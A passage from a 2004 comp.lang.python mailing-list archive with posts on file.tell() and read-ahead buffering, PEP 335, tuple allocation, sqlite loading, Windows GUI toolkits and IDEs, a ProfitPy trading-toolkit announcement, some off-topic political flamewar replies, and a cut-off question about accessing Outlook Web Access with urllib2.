read-ahead buffer for reference, instead of the file handle.

Here's another: raise an exception if calling read(), tell(), etc.
when the file handle != the read ahead buffer.

There has got to be a way to make these things consistent!  Otherwise,
if it were up to me, I would avoid the read-ahead entirely, reasoning
that trading speed for buggy behavior is a bad practice...

What do you think?


From greg at cosc.canterbury.ac.nz  Mon Sep 13 01:07:52 2004
From: greg at cosc.canterbury.ac.nz (Greg Ewing)
Date: Mon, 13 Sep 2004 17:07:52 +1200
Subject: PEP 335: Overloadable Boolean Operators - Official Posting
In-Reply-To: <10k6k1f823r64ae@news.supernews.com>
References: <2qccb9Fuac61U1@uni-berlin.de> <10k6k1f823r64ae@news.supernews.com>
Message-ID: <2qko9aF10i3r7U1@uni-berlin.de>

John Roth wrote:
> A second comment is that I think you need seven slots - the
> 'rand2' and 'ror2' slots seem to be missing.

If you're talking about the C-level slots, that's not
a mistake. If you look, you'll find that *none* of the
__rxxx__ methods exist at the C level. If the left
operand doesn't define a slot for an operator, the
*same* C-level slot of the right operand is called,
with the operands in the same order. The implementations
of these slots for user-defined classes sort this out
and call __xxx__ or __rxxx__ Python methods as
appropriate.

> A third comment is that I think the 'and1' and 'or1'
> should return either True or False, meaning 'short
> circuit with the current value on top of the stack',
> or 'continue with the evaluation with the current
> value on top of the stack'. I'd like to see a discussion
> of why this (IMO conceptually simpler) option
> wasn't chosen.

It's in the interests of generality. Without use cases,
it's admittedly unknown whether this amount of generality
will ever be needed.

-- 
Greg Ewing, Computer Science Dept,
University of Canterbury,	
Christchurch, New Zealand
http://www.cosc.canterbury.ac.nz/~greg



From exarkun at divmod.com  Wed Sep  8 11:12:03 2004
From: exarkun at divmod.com (Jp Calderone)
Date: Wed, 08 Sep 2004 11:12:03 -0400
Subject: tuples allocated by formated print ?
In-Reply-To: <200409081140.26869.alexander.hoffmann@netgenius.de>
References: <200409081140.26869.alexander.hoffmann@netgenius.de>
Message-ID: <413F2143.2030903@divmod.com>

Alexander Hoffmann wrote:
> Hello,
> 
> Recently I was debugging a memory leak in my app and finally figured out that 
> I had to manually implement destructors for some classes. 

   I'm not sure what this means.

> While debugging I wrote a method that prints the number of instances per type 
> for all objects returned by gc.get_objects. I was astonished by the fact that 
> after perfroming a few tests with my app there were about 4000 instances of 
> Tuple in memory. Looking at these instances I got the feeling that they 
> contained the values I used in formated prints like: print ("my name is %s" % 
> ("alex", ))
> Can anyone of you confirm that tuples constructed this way will be removed 
> from memory by Python automatically ?

   They will be.

> If so, can you imagine any reason for so many tuple instances to exist (given 
> the fact that besides in print (...) I do not make use of tuples in my source 
> code) ?

   You probably create a lot more tuples than you think.  For example:

     >>> class Foo(object):
     ...     def f(self):
     ...             pass
     ...

     >>> type(Foo.__mro__)
     <type 'tuple'>

   Also keep in mind that any module from the stdlib or a third party 
package that you import is creating objects of its own.  These are 
included in any results returned by the gc module.

   Jp


From skip at pobox.com  Tue Sep  7 23:19:54 2004
From: skip at pobox.com (Skip Montanaro)
Date: Tue, 7 Sep 2004 22:19:54 -0500
Subject: Slow loading of large in-memory tables
In-Reply-To: <200409062214.50297.janert@ieee.org>
References: <200409062214.50297.janert@ieee.org>
Message-ID: <16702.31322.911448.49076@montanaro.dyndns.org>


    Ph> I am trying to load a relatively large table (about 1 Million rows)
    Ph> into an sqlite table, which is kept in memory. The load process is
    Ph> very slow - on the order of 15 minutes or so.

    Ph> I am accessing sqlite from Python, using the pysqlite driver.  I am
    Ph> loading all records first using cx.execute( "insert ..." ).  

I've never used sqlite, but I have used a number of other relational
databases.  All I've encountered previously have some sort of "bulk load"
statement that is faster than a bunch of inserts.  The input file in these
cases is generally some sort of TAB- or comma-delimited file.  These
statements are always extensions to SQL (and therefore predictably differ
for each rdbms).  Sqlite may have such a statement.

-- 
Skip Montanaro
Got spam? http://www.spambayes.org/
skip at pobox.com


From Moiz.Golawala at ge.com  Mon Sep 20 14:07:02 2004
From: Moiz.Golawala at ge.com (Golawala, Moiz M (GE Infrastructure))
Date: Mon, 20 Sep 2004 14:07:02 -0400
Subject: Python as alternative to Visual Basic
Message-ID: <CE90A4CF2E5E9C4890AE5D9D8A5EFAE301189750@CINMLVEM10.e2k.ad.ge.com>

I would recommend wxPython. It is cross platform and provides the windows look and feel to the UI. It is pretty easy to develop in as well. The documentation and examples are very extensive. 

I have used it to develop some GUIs for people who are not very computer savvy and they don't even realize that my app is written in python. 

Regards,
Moiz 

-----Original Message-----
From: python-list-bounces+moiz.golawala=ge.com at python.org
[mailto:python-list-bounces+moiz.golawala=ge.com at python.org]On Behalf Of
Aaron Ginn
Sent: Monday, September 20, 2004 12:47 PM
To: python-list at python.org
Subject: Python as alternative to Visual Basic


I'm investigating the feasibility of using Python instead of Visual 
Basic for a commercial software package that I'm planning on developing. 
  Now I'm absolutely a Python zealot.  I use it for most of my software 
development at work where I work in a Solaris environment.  To me, 
Python is the perfect language for most applications in a UNIX 
environment where a compiled language is not required.  However, I'm not 
so sure about Windows.

The software package I'm developing will make calls to Excel and Access 
and requires a very usable GUI for users who are not particularly 
computer literate.  My first question is: what is the best choice for a 
GUI toolkit on Windows?  I've used Tkinter for UNIX to some degree of 
success, but I'm not sure this is the best choice for Windows.  Second, 
if I choose to make the application cross-platform (Windows and Mac OS X 
in particular), what would be the best choice for a cross-platform GUI 
toolkit?  I was thinking of looking at PyQt.  Is there a better option?

Basically, I'm trying to make a case for Python to the other developers 
of this software package as I believe it offers numerous advantages over 
VB in terms of speed of development, a quick learning curve, and 
maintainability.  Can anyone help me make that case?

Thanks,
Aaron
-- 
http://mail.python.org/mailman/listinfo/python-list


From spaamrobmccreaspremoveam at adelphia.net  Tue Sep 14 17:25:45 2004
From: spaamrobmccreaspremoveam at adelphia.net (Rob McCrea)
Date: Tue, 14 Sep 2004 17:25:45 -0400
Subject: Ranting about the state of Python IDEs for Windows
In-Reply-To: <lrmdnUYdl8VVzNrcRVn-pA@powergate.ca>
References: <mailman.3261.1095106220.5135.python-list@python.org>
	<656g254o.fsf@python.net> <7LudnZweyKXOoNrcRVn-sw@adelphia.com>
	<lrmdnUYdl8VVzNrcRVn-pA@powergate.ca>
Message-ID: <o_2dneOzsIpU_NrcRVn-sg@adelphia.com>

Peter Hansen wrote:

> Rob McCrea wrote:
> 
>> Thomas Heller wrote:
>>
>>> If you work on Windows, you should really, really, really upgrade to
>>> win2k, at least - even if it costs some performance on your machine.
>>>
>>> You can even *use* the 'dos-box' then ;-).
>>
>>
>> In my not-at-all-humble-but-very-honest opinion, that's the worst 
>> suggestion I've heard in this topic.
> 
> 
> As Thomas is, I'm very curious why you would say that.  And
> I wonder if you would say that if you replaced 2K with XP,
> or whether you are just against anyone switching from 98
> to something better *if they have to work with Windows*
> as Thomas clearly qualified the point.
> 
> For the record, switching from 98 to XP has been an incredibly
> helpful upgrade in my own case, and I can't think why you
> would make the comment you made.
> 
> -Peter

If moving to anything after win98se, I would (of course?) suggest XP, 
but certainly not for a 500mHz with 64MB RAM.  "if it costs some 
performance" is a huge understatement.   And I just hate the allusion of 
the console window to anything close to DOS, which I can assume was not 
intended and Thomas even tried to avoid.

My reply was biased and not at all "scientific", as I hoped my "opinion" 
line would indicate.  Maybe my personal summary is that there are only 
two Windows operating systems, 98SE and XPPro; all the others have been 
surpassed, IMHO.  And let's make no mistake, XP did also (finally) 
surpass 98, at a huge (yet affordable and worthwhile) cost to system 
resources. -- But 98 is a still a practically needed link between 
Windows and DOS.

So you're rather astute, Peter.  If he had said XP, and didn't mention 
"performance" since XP would almost mandate a more-than-modest system 
upgrade, and lastly did not mention the term "dos-box" (even if said 
facetiously in regards to that certain perspective of mine), I can't 
imagine I would have tossed out my two cent.

I suppose I should mention that no disrespect at all was intended 
towards Thomas' sound intention, though I found the given implementation 
  to be "really, really, really" unsatisfactory.

Rock on, peace,
Rob



From bingham at cenix-bioscience.com  Tue Sep 14 04:28:55 2004
From: bingham at cenix-bioscience.com (Aaron Bingham)
Date: Tue, 14 Sep 2004 10:28:55 +0200
Subject: Ranting about the state of Python IDEs for Windows
In-Reply-To: <57c312d304091315563fb93b22@mail.gmail.com>
References: <mailman.3261.1095106220.5135.python-list@python.org>	<ci52ar$4kq$1@newsreader.mailgate.org>	<864d3709040913153679cd2461@mail.gmail.com>
	<57c312d304091315563fb93b22@mail.gmail.com>
Message-ID: <4146ABC7.307@cenix-bioscience.com>

Komodo *does* use Scintilla.

M. Bitner wrote:

>I don't know if Komodo uses Scintilla as the editor or not. Komodo is
>primarily based on Mozilla. It does have tabbed windows for editing
>and the ability to organize your files in projects. They have a 30-day
>trial version if you want to try it out.
>  
>
-- 
--------------------------------------------------------------------
Aaron Bingham
Application Developer
Cenix BioScience GmbH
--------------------------------------------------------------------



From brandon at ten22.rhodesmill.org  Thu Sep  9 15:02:09 2004
From: brandon at ten22.rhodesmill.org (Brandon Craig Rhodes)
Date: Thu, 09 Sep 2004 15:02:09 -0400
Subject: Is except: ... pass bad style?
References: <pan.2004.09.09.16.26.16.985806@python.net>
	<m33c1rcrxg.fsf@pc150.maths.bris.ac.uk>
	<873c1re0am.fsf@ten22.rhodesmill.org>
	<87vfenclmw.fsf@ten22.rhodesmill.org>
Message-ID: <87r7pbclla.fsf@ten22.rhodesmill.org>

Brandon Craig Rhodes <brandon at ten22.rhodesmill.org> writes:

> ...but in fact intended the first line to be
>     meth = getattr(myobj, method, None)

... where `method' holds the method name, of course.  <sigh>

-- 
Brandon Craig Rhodes   brandon at rhodesmill.org   http://rhodesmill.org/brandon


From davidf at sjsoft.com  Tue Sep  7 04:04:14 2004
From: davidf at sjsoft.com (David Fraser)
Date: Tue, 07 Sep 2004 10:04:14 +0200
Subject: ANN: WxInter
In-Reply-To: <IKCdnbjCsZtWd6HcRVn-qQ@centurytel.net>
References: <IKCdnbjCsZtWd6HcRVn-qQ@centurytel.net>
Message-ID: <chjq1u$1te$1@ctb-nnrp2.saix.net>

Ed Suominen wrote:
> WxInter is a drop-in replacement for TkInter, providing user-transparent
> wxPython-based replacements for each and every part of the Tkinter class
> library. Because wxPython can do anything that the ancient and stagnant
> TkInter can do (but with a themable, modern window appearance), legacy code
> will still run, looking better than ever, and Python's last connection to
> the Tcl/TK albatross will be forever broken.
> 
> OK, I just made all this up. But why couldn't it happen? I'd even be tempted
> to code it myself, but I'm sure others with some wxPython experience could
> do it much faster and better.

I think its a fantastic idea, and since you thought of it, why not 
start? Then others can jump in.
You may want to suggest this on the wxPython-users mailing list

David


From cbfalconer at yahoo.com  Thu Sep  2 15:08:42 2004
From: cbfalconer at yahoo.com (CBFalconer)
Date: Thu, 02 Sep 2004 19:08:42 GMT
Subject: Xah Lee's Unixism
References: <7fe97cc4.0408251356.34f2102a@posting.google.com>
	<1gj5eeq.gb3dk41wup9zwN%otto.wyss@orpatec.ch>
	<87hdqptl96.fsf_-_@thalassa.informatimago.com>
	<4PGdnfsOfdDPi63cRVn-tA@speakeasy.net>
	<slrncj1745.t5q.amajorel@atc5.vermine.org>
	<41337FC9.8070902@hotmail.com>
	<slrncj7hhh.2pt.amajorel@atc5.vermine.org>
	<p7v7j0plcfbden593l1irfprmfkp4d3k51@4ax.com>
	<slrncj8m5n.2pt.amajorel@atc5.vermine.org>
	<%T%Yc.29567$Es2.11957889@news4.srv.hcvlny.cv.net>
	<2mmdj0t6mjgif88en11skbo3n8uiuj46nc@4ax.com>
	<opsdpdzglzpqzri1@mjolner.upc.no>
Message-ID: <41376DCA.B833324A@yahoo.com>

John Thingstad wrote:
> 
... snip ...
> 
> These peaple had more than a 100 years of experience in
> developing muliuser / mutitasking operating systems between
> them. The fact that the NT kernel is not entirely stable yet
> really shouldn't supprise anyone. Afterall Unix has messed
> with it's kernel for 30 years. But the modular arcitecture
> and the microkernel are new ideas in OS design and should in
> time lead to a more extensible OS than unix.

The original NT (3.0) was well designed, but slow on the hardware
of the time.  Then MS got to work increasing module connectivity
and reducing reliability.  This is the usual premature
optimization bug, together with planned obsolescence.  The result
is an unmaintainable mess.

-- 
Some similarities between GWB and Mussolini:
a) The strut;  b) Making war until brought up short:
                    Mussolini: Ethiopia, France, Greece.
                    GWB:       Afghanistan, Iraq.



From antonmuhin at rambler.ru  Thu Sep 23 06:44:52 2004
From: antonmuhin at rambler.ru (anton muhin)
Date: Thu, 23 Sep 2004 14:44:52 +0400
Subject: up with PyGUI!
In-Reply-To: <4151B7C4.6070003@zephyrfalcon.org>
References: <mailman.3318.1095180577.5135.python-list@python.org>
	<414783DD.4070509@zephyrfalcon.org>
	<4lf4d.15151$pA.1180511@news20.bellglobal.com>
	<4151B7C4.6070003@zephyrfalcon.org>
Message-ID: <2rfnp6F19gkpkU1@uni-berlin.de>

Hans Nowak wrote:
> I'm not sure what you mean.  One known issue is, that there is some 
> redundancy when creating a control and adding it to its parent:
> 
>   b = Button(parent, ...)
>   parent.AddComponent(b, ...)
> 
> I am thinking of ways to make this simpler.  One possible solution would 
> be to accept a 'layout' parameter:
> 
>   b = Button(parent, ..., layout={'expand': 'both', 'border': 2})
> 
> ....but I'm not sure that actually makes things simpler or more readable.
> 
> It's also possible to do something like this:
> 
>   parent.Add(some_control, parameters_for_control, parameters_for_layout)
> 
> I think this is rather ugly, and I don't like the mixing of control 
> constructor parameters and layout parameters.  Aside from that, it's 
> sometimes useful or necessary to use the control before it's added to 
> the parent.  Consider:
> 
> from wax import *
> 
> class MainFrame(Frame):
> 
>     def Body(self):
>         b1 = Button(self, text="b1")
>         b1.Size = (40, 40)
>         self.AddComponent(b1)
> 
>         b2 = Button(self, text="b2")
>         self.AddComponent(b2)
>         b2.Size = (40, 40)
> 
>         self.Pack()
> 
> app = Application(MainFrame)
> app.Run()
> 

I beg your pardon for possibly stupid comment---I haven't practice GUI 
programming for a long time, especially in Python. However I mostly 
prefer declarative approach for the problems like that. Therefore, 
wouldn't it be interesting to describe the structure with class and 
metaclass mechanism, like:

class MainFrame(FrameDescription):

   class b1(ButtonDescription):
     size = (40, 40)
     text = "b1"

etc.

with the best regards,
anton.


From adalke at mindspring.com  Sat Sep  4 16:41:43 2004
From: adalke at mindspring.com (Andrew Dalke)
Date: Sat, 04 Sep 2004 20:41:43 GMT
Subject: docs on for-loop with no __iter__?
In-Reply-To: <mailman.2873.1094321890.5135.python-list@python.org>
References: <mailman.2873.1094321890.5135.python-list@python.org>
Message-ID: <bMp_c.7491$w%6.1810@newsread1.news.pas.earthlink.net>

Steven Bethard wrote:
> Can someone point me to the documentation on what's supposed to happen
> when you use the "for x in X:" syntax when X does not have an __iter__
> method?

You need to raise an IndexError

> ....     def __len__(self): return 42
> ....     def __getitem__(self, i): return i

Make that say

def __getitem__(self, i):
     if i >= 42: raise IndexError, i
     return i


> Obviously, the right
> way to do this is with __iter__, but presumably this behavior is
> documented somewhere...

http://docs.python.org/ref/sequence-types.html

] Note: for loops expect that an IndexError will be
] raised for illegal indexes to allow proper detection
] of the end of the sequence.

That's all I can find in the docs (searched docs.python.org
for __getitem__ and IndexError )

Looking at the language reference from CVS, I found
  http://www.python.org/dev/doc/devel/ref/for.html

It states

]  The suite is then executed once for each item in
] the sequence, in the order of ascending indices.

That implies the sequence is indexed, yes?  But if
the sequence implements __iter__ then there's no
possibly no underlying idea of 'index'.

Should this be fixed?

				Andrew
				dalke at dalkescientific.com


From unseulmcmcmcmc at msupprimerlepoint.claveauPOINTcom  Sat Sep 18 14:54:42 2004
From: unseulmcmcmcmc at msupprimerlepoint.claveauPOINTcom (=?iso-8859-1?Q?Michel_Claveau_-_abstraction_m=E9ta-galactique_non_trivial?= =?iso-8859-1?Q?e_en_fuite_perp=E9tuelle.?=)
Date: Sat, 18 Sep 2004 20:54:42 +0200
Subject: Math errors in python
References: <linok0tk1d0cftbh9092j31mpglj2petls@4ax.com>
	<mailman.3482.1095528019.5135.python-list@python.org>
Message-ID: <cii0ef$qb7$1@news-reader2.wanadoo.fr>

Hi ! 

Many languages, yes.
All languages, no.

Few languages can use the DCB possibilities of the processors. 

@-salutations
-- 
Michel Claveau




From elbertlev at hotmail.com  Sat Sep 11 00:42:42 2004
From: elbertlev at hotmail.com (Elbert Lev)
Date: 10 Sep 2004 21:42:42 -0700
Subject: A bug with file.tell()?
References: <f8097096.0409092043.3760d72a@posting.google.com>
Message-ID: <9418be08.0409102042.62f3ed3d@posting.google.com>

Here is the script. In the first part I open the file and read it line
by line.
In the second part I open the same file and read lines in: "for s in
f:". The difference is that the second method first reads the whoole
file in memory and creates the list of string. Actually you are taking
strings from this list.

f = file("test")
fo = file("out", "w")

while 1:
    off = f.tell()
    s = f.readline()
    if not s: break
    print >>fo, "%5d:%s" % (off, s)
    
f = file("test")
print  >>fo, "==========================="
for s in f:
    off = f.tell()
    print  >>fo, "%5d:%s" % (off, s)


Output:
    0:blah1
    7:blah2
   14:blah3
   21:asdf 
===========================
   25:blah1
   25:blah2
   25:blah3
   25:asdf

By the way, because for s if f: reads the whoole file in memory such
construct is not recommended for reading large files (but is very
convenient).

I do not think, this is a bug.


From jeff at ccvcorp.com  Thu Sep 16 15:26:09 2004
From: jeff at ccvcorp.com (Jeff Shannon)
Date: Thu, 16 Sep 2004 12:26:09 -0700
Subject: wxPython Not Ready for Commercial Use
In-Reply-To: <dcf37d82.0409160827.1de98db9@posting.google.com>
References: <dcf37d82.0409160827.1de98db9@posting.google.com>
Message-ID: <10kjq35q7n2q28e@corp.supernews.com>

Polerio Babao Jr.II wrote:

>Please correct me if im wrong. 
>

I believe that you *are* wrong.

>One big problem came into my attention. The printing support. 
>

Printing in a reliable cross-platform way is a hard problem, which is (I 
believe) why the support in wxWidgets/wxPython is not up to the same 
level as its screen-display support.  But there *are* (IMO) reasonable 
solutions.

>But what if your client wanted to simulate the customized excel output 
>

Presuming that you're targetting Windows,  there's a couple of solutions 
here.  Perhaps the simplest would be to use either pythonCOM or 
pyXLWriter ( http://sourceforge.net/projects/pyxlwriter/ ) to get Excel 
to handle the output for you.  I suspect that either of these methods 
would be simpler than writing Excel-xml.

>I am targetting crystal report as my ideal reporting application.
>

Does Crystal Reports offer a COM automation API?  If so, you could use 
*it* directly (via pythonCOM).

>... now I am trying to learn c++/qt to solve my gui and printing problem.
>

Seems to me that the effort involved here would be rather greater than 
the effort involved in customizing your printing under wxPython.  And 
while I don't know what sort of built-in printing support (if any) QT 
may have, I don't think that changing languages gains you anything.  (At 
worst, you can access the win32api printing calls directly from Python; 
all that using c++ would gain you is a different selection of libraries, 
which may or may not help very much.)

Jeff Shannon
Technician/Programmer
Credit International



From jacek.generowicz at cern.ch  Wed Sep 29 03:27:56 2004
From: jacek.generowicz at cern.ch (Jacek Generowicz)
Date: 29 Sep 2004 09:27:56 +0200
Subject: Metaclass with name overloading.
References: <tyfekkoeyk2.fsf@pcepsft001.cern.ch>
	<60dfb6f6.0409281126.48c277d9@posting.google.com>
Message-ID: <tyfsm91edqb.fsf@pcepsft001.cern.ch>

imbosol at aerojockey.com (Carl Banks) writes:

>     def alltuple(name,bases,clsdict):
>         return tuple(clsdict.values())

>             __metaclass__ = alltuple

WBMSWA12FB !

It never occurred to me that a metaclass didn't have to be a _class_.


From aleaxit at yahoo.com  Wed Sep  8 11:59:20 2004
From: aleaxit at yahoo.com (Alex Martelli)
Date: Wed, 8 Sep 2004 17:59:20 +0200
Subject: %a format
References: <20040907182925.GA27643@grulic.org.ar>
	<16702.1779.773067.819528@montanaro.dyndns.org>
	<mailman.3030.1094648924.5135.python-list@python.org>
Message-ID: <1gjt34h.19o3zkj1bov737N%aleaxit@yahoo.com>

John Lenton <john at grulic.org.ar> wrote:
   ...
> > Note that Python uses sprintf() to do its dirty work, so any patch would
> > have to implement %a itself to remain compatible with C89.
> 
> is remaining compatible with C89 a requirement?

Yes, until every C compiler on Earth implements C99 (in the same sense
that every compiler at long last IS more or less implementing C89 just
in these last few years) Python will surely not accept patches that make
it impossible to compile Python with C89.  Patches that let Python
compile anyway, with more functionality offered only on C99, are a less
clear-cut case, but I think there would be quite some bias against them,
since using the extra functionality would make a program unportable to
non-C99 Python builds; such platform-restricted functionality may be
acceptable in the Python standard library, but the core language is
generally considered a different matter.


Alex


From troy at gci.net  Sat Sep 11 05:58:33 2004
From: troy at gci.net (Troy Melhase)
Date: Sat, 11 Sep 2004 01:58:33 -0800
Subject: ANN:  ProfitPy 0.1
Message-ID: <200409110158.33833.troy@gci.net>

ProfitPy - An Automated Stock Trading Toolkit for Python
=============================================================================
ProfitPy 0.1 Released 11 September 2004


What is ProfitPy?
-----------------------------------------------------------------------------
ProfitPy is a set of libraries and tools for the development, testing, and
execution of automated stock trading systems[1].  The main web site for the
toolkit is here:
    
    http://profitpy.sourceforge.net/

Specifically, ProfitPy is a collection of Python packages, modules, and 
scripts that work together to help you implement an automated stock trading 
program (or programs).  The package features:

  * A library with classes for accounts, orders, tickers, and more
  * A GUI program for executing and plotting trades in real-time[2]
  * A GUI tool to collect ticker data for off-line use
  * A CLI tool to back-test trading strategies
  * Dozens of technical indicators and plotting widgets to display them
  * An X11 keystroke tool for automating the TWS application


Screenshots
-----------------------------------------------------------------------------
A picture is worth a thousand words.  It beats documentation, at least:

    http://profitpy.sourceforge.net/screenshots.html


Where can I get ProfitPy?
-----------------------------------------------------------------------------
ProfitPy is available for download from SourceForge:

    http://sourceforge.net/projects/profitpy


What are the requirements?
-----------------------------------------------------------------------------
ProfitPy requires the following packages.  Newer versions may (or may not!) 
be substituted:

  * Python 2.3.4
    http://www.python.org/

  * PyKDE 3.11.3
    http://www.riverbankcomputing.co.uk/pykde/

  * PyQwt 4.0rc0 
    http://sourceforge.net/projects/pyqwt/

  * SciPy 0.3
    http://www.scipy.org/

  * IbPy 0.4
    http://sourceforge.net/projects/ibpy/

ProfitPy can make use of these optional components as well:

  * The Eric3 Python IDE
    http://www.die-offenbachs.de/detlev/eric3.html

    The ProfitPy main GUI features a source code viewing widget.  If the 
    Eric3 IDE is present and importable, its source editor widget will be 
    used instead.

  * X11::GUITest
    http://sourceforge.net/projects/x11guitest

    The main GUI and the collection tool make use of a keystroke automation
    script for TWS.  This script requires the X11::GUITest Perl package.

ProfitPy applications and tools connect to the Interactive Brokers[3] client 
application to receive data and send orders.  This system, TWS, requires a 
web browser capable of executing Sun(R) Java(tm) applets.  TWS can also be 
started directly with Sun(R) Java(tm) and the stand-alone package supplied 
by IB.


What is Python?
-----------------------------------------------------------------------------
>From the "What is Python?" page (http://python.org/doc/Summary.html):

Python is an interpreted, interactive, object-oriented programming language. 
It is often compared to Tcl, Perl, Scheme or Java.

Python combines remarkable power with very clear syntax. It has modules, 
classes, exceptions, very high level dynamic data types, and dynamic typing.  
There are interfaces to many system calls and libraries, as well as to various
windowing systems (X11, Motif, Tk, Mac, MFC). New built-in modules are easily 
written in C or C++. Python is also usable as an extension language for 
applications that need a programmable interface.

The Python implementation is portable: it runs on many brands of UNIX, on 
Windows, DOS, OS/2, Mac, Amiga... If your favorite system isn't listed here, 
it may still be supported, if there's a C compiler for it. Ask around on 
comp.lang.python -- or just try compiling Python yourself.

The Python implementation is copyrighted but freely usable and distributable, 
even for commercial use.


What is TWS?
-----------------------------------------------------------------------------
>From the page "Trader Execution and Clearing System Features" 
(http://interactivebrokers.com/html/companyInfo/market_ib.html):

* IB's Trader Workstation can be run directly from your browser, or you can 
install it on your PC and run it from your desktop. This Java based 
application allows traders to quickly enter orders and see results.

* Direct Access: Unlike other "online" brokers that send your order through 
an e-mail type system, IB offers a direct-access order entry system that 
transmits your order to the proper market center, usually within one second 
of entry.

* Real-Time Streaming Quotes: Display real-time, streaming quotes for markets 
of interest to the investor. Quotes are live and change continuously as the 
markets change, no periodic manual update or "refresh" is required.


What else?
-----------------------------------------------------------------------------
ProfitPy is Free Software and is concordantly licensed under the GPL.  Refer 
to the LICENSE file in the distribution for more information.

I never intended to release this code to the public.  Much of it is specific 
to my trading applications.  Please note that the superficial design flaws 
are very important, as they hide the fundamental ones.  YMMV.

ProfitPy is not a product of Interactive Brokers, nor am I affiliated with 
IB.  I am a satisfied IB customer, of course.

The TWS demo system is available here:

    http://interactivebrokers.com/cgi-pub/jtslink.pl?user_name=edemo


Thank you!
-----------------------------------------------------------------------------
Thank you, for I am very interested in your experience with ProfitPy.  
Please drop me an note with any feedback you have.


-- 
Troy Melhase, troy at gci.net
--
Good and evil, reward and punishment, are the only motives to a rational 
creature: these are the spur and reins whereby all mankind are set on work, 
and guided. - Locke


[1]  I trade stocks, not futures, options, or anything else, just stocks.  
ProfitPy reflects this, but I know of nothing that limits the code to only 
stocks.

[2]  Please excuse the misuse of "real time".  I understand that none of 
this is true real time.

[3]  Interactive Brokers website:  http://www.interactivebrokers.com/


From spam at nimblegen.com  Tue Sep 21 09:38:00 2004
From: spam at nimblegen.com (Chuck Dillon)
Date: Tue, 21 Sep 2004 08:38:00 -0500
Subject: Xah Lee's Unixism
In-Reply-To: <10kvqf4sr02fia0@corp.supernews.com>
References: <s0utk01omk8aipn7vclocmdgokfu66bu2g@4ax.com>
	<10kvqf4sr02fia0@corp.supernews.com>
Message-ID: <cipaqk$jfo$1@grandcanyon.binc.net>

SM Ryan wrote:

>
> 
> In short, ding dong, the President _does_ have independent intelligence
> gatherring ability. It's called the executive branch, and it's at his
> beck and call for all legal orders. It's that commander in chief bit.
>

You missed the part of the constitution that speaks of checks and 
balances.  By definition the 3 branches are co-dependent. 
Administration and oversight of our intelligence systems/agencies have 
been pretty sophisticated for a long time.  Are you suggesting that 
somehow this administration has completely restructured it in just 3.5 
years and somehow undermined the oversight authority of the congress? 
If, so you have a very high opinion of the abilities of this 
administration.  I assume you think Tony Blair accomplished the same 
thing in the U.K...

-- ced


-- 
Chuck Dillon
Senior Software Engineer
NimbleGen Systems Inc.


From clifford.wells at comcast.net  Sun Sep 19 16:51:27 2004
From: clifford.wells at comcast.net (Cliff Wells)
Date: Sun, 19 Sep 2004 13:51:27 -0700
Subject: Determining if a client PC has an Internet connection
In-Reply-To: <ULh3d.1833$qA6.1085@newsread3.news.pas.earthlink.net>
References: <1095578301.31957.263.camel@devilbox.devilnet.internal>
	<cijkdj$2bl$1@sea.gmane.org>
	<mailman.3499.1095589700.5135.python-list@python.org>
	<414d9c34$0$58894$75868355@news.frii.net>
	<ULh3d.1833$qA6.1085@newsread3.news.pas.earthlink.net>
Message-ID: <1095627087.31957.319.camel@devilbox.devilnet.internal>

On Sun, 2004-09-19 at 15:40 +0000, Andrew Dalke wrote:
> Stuart McGraw wrote:
> > I'm not sure this is 100% reliable either.  I have several PCs on a home 
> > network with a Linux box running a local caching DNS server that is the 
> > primary (and sole) DNS server for the Windoze boxes..  That server is 
> > always reachable even when my modem internet connection is down.

I'm not terribly concerned with this scenario for a couple of reasons: 

1. This is a very atypical setup for the average home user
2. If you're running your own DNS server, you can probably figure it out
for yourself.

> And speaking of that case, the OP should add support (at least when
> not on MS Windows) for the user to specify on-line/off-line.

It does have this =)  The idea here is that the user could download all
their RSS feeds to their laptop and then read the news on the road.

> I wasn't doing anything.

Ah, that's what all users say ;)

Regards,
Cliff

-- 
Cliff Wells <clifford.wells at comcast.net>



From canopus at gmx.net  Thu Sep 16 08:31:01 2004
From: canopus at gmx.net (Sebastian Krause)
Date: Thu, 16 Sep 2004 14:31:01 +0200
Subject: python: ascii read
In-Reply-To: <cibvhf$qrh$1@news1.ucsd.edu>
References: <cibndt$p2v$1@fsuj29.rz.uni-jena.de> <cibvhf$qrh$1@news1.ucsd.edu>
Message-ID: <41498785.2020502@gmx.net>

The input data is is large ascii file of astrophysical parameters 
(integer and float) of gaydynamics calculations. They should be read in 
as an array of integer and float numbers not as string (as open() and 
read() does). Then the array is used to make different plots from the 
data and do some (simple) operations: subtraction and divison of 
columns. I am using Scipy with Python 2.3.x under Linux (SuSE 9.1).

Sebastian

Robert Kern wrote:
> Sebastian Krause wrote:
> 
>> Hello,
>>
>> I tried to read in some large ascii files (200MB-2GB) in Python using 
>> scipy.io.read_array, but it did not work as I expected. The whole idea 
>> was to find a fast Python routine to read in arbitrary ascii files, to 
>> replace Yorick (which I use right now and which is really fast, but 
>> not as general as Python). The problem with scipy.io.read_array was, 
>> that it is really slow, returns errors when trying to process large 
>> files and it also changes (cuts) the files (after scipy.io.read_array 
>> processed a 2GB file its size was only 64MB).
>>
>> Can someone give me hint how to use Python to do this job correctly 
>> and fast? (Maybe with another read-in routine.)
> 
> 
> What kind of data is it? What operations do you want to perform on the 
> data? What platform are you on?
> 
> Some of the scipy.io.read_array behavior that you see look like bugs. We 
> would greatly appreciate it if you were to send a complete bug report to 
> the scipy-dev mailing list. Thank you.
> 


From vincent at visualtrans.de  Fri Sep 24 13:59:05 2004
From: vincent at visualtrans.de (vincent wehren)
Date: Fri, 24 Sep 2004 19:59:05 +0200
Subject: reading a rar archive....
In-Reply-To: <19Z4d.2105$Pd2.714832@monger.newsread.com>
References: <19Z4d.2105$Pd2.714832@monger.newsread.com>
Message-ID: <cj1n96$hai$1@news1.zwoll1.ov.home.nl>

Rene Lopez wrote:
> Is there any way to get python to read files from a rar archive?
> 
There is PyUnRAR at http://www.averdevelopment.com/python/. AFAIK it's 
Windows only.


HTH
--
Vincent Wehren



From pascal.parent at free.fr  Thu Sep 23 05:41:38 2004
From: pascal.parent at free.fr (Pascal)
Date: 23 Sep 2004 02:41:38 -0700
Subject: OWA (Outlook Web Access) with urllib2
Message-ID: <e567c03a.0409230141.1160c1d@posting.google.com>

Hello,

I want to acces my OWA (Outlook Web Acces - http Exchange interface)
server with urllib2 but, when I try, I've always a 401 http error.
Can someone help me (and us)?

Thanks.


here's my pyscript:
( Python 2.3.3 (#1, Apr  6 2004, 01:47:39) - [GCC 3.3.3 (SuSE Linux)]
on linux2 )
************************************************************************
#! /usr/bin/python


import urllib2


# set authentification
auth = urllib2.HTTPBasicAuthHandler()
